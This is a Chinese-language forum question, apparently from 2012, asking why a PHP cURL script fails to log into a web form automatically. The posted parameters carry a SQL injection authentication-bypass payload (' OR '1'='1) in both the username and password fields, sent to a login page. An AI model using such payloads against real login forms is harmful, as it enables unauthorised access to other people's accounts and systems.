【发布时间】:2012-12-16 11:08:45
【问题描述】:
我只是想通过 php 和 cURL 自动登录到登录表单
我有:
<?php
# get url to form
$url = "http://thesite.com/login.php";
$ch = curl_init($url); # initialize that form
#run value of $_POST variable in form fields from above url.
$params = "username='' OR '1'='1&password='' OR '1'='1&login-php-submit-button=submit";
## set cURL options
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params); #set parameter $_POST fields
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
if (!$response) {
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch); // make sure we closeany current curl sessions
die(stripslashes($http_code.' Can\'t connect to server.'));
}
//curl_close($ch); // close curl session
## echo the result from cURL 'ing
echo $response;
curl_close($ch);
?>
当我访问这个脚本时,它只显示$url 的值,就像我刚刚访问了 URL 一样,它没有显示任何错误消息,例如“Wrong pass”或任何内容。
我觉得$params 可能在这里设置不正确。我一直在不懈地尝试让它发挥作用。我目前有它的设置,$params 值的设置是:
formnameofinputvalue=valueToInputIntoFormElement&
其中 & 分隔每个 formInputName=formInputValue
有人看到我在这里做错了吗?谢谢。
【问题讨论】:
标签: php curl web-crawler bots